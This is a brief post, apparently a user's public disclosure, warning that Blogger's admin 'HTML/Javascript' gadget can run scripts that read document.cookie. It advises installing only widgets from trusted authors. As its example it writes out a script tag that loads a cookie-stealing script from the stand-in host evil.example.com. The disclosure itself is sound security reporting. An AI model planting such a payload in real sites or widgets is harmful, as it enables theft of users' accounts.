Blogger cookies are usually marked with HttpOnly, so that they can't
be stolen by gadgets. This is a good thing. An exception seems to be
in the admin interface. If you go to Layout/Page Elements, and click
"Add a Gadget" and "HTML/Javascript", and enter <script src="http://
evil.example.com/stealcookies.js"></script>, that script will have
access to document.cookie.
I don't know if the cookies this can access are sufficient to do any
harm, but this can't be a good thing.
This is not a simple attack -- it would probably require creating a
widget that had some other functionality, and then convincing people
to install it. But it's also possible that there are easier ways to
bootstrap it than I have found.
I wish there were a non-public place to report security issues, but I
couldn't find it.
In short: Only install widgets created by people you trust not to
steal your blogger account.
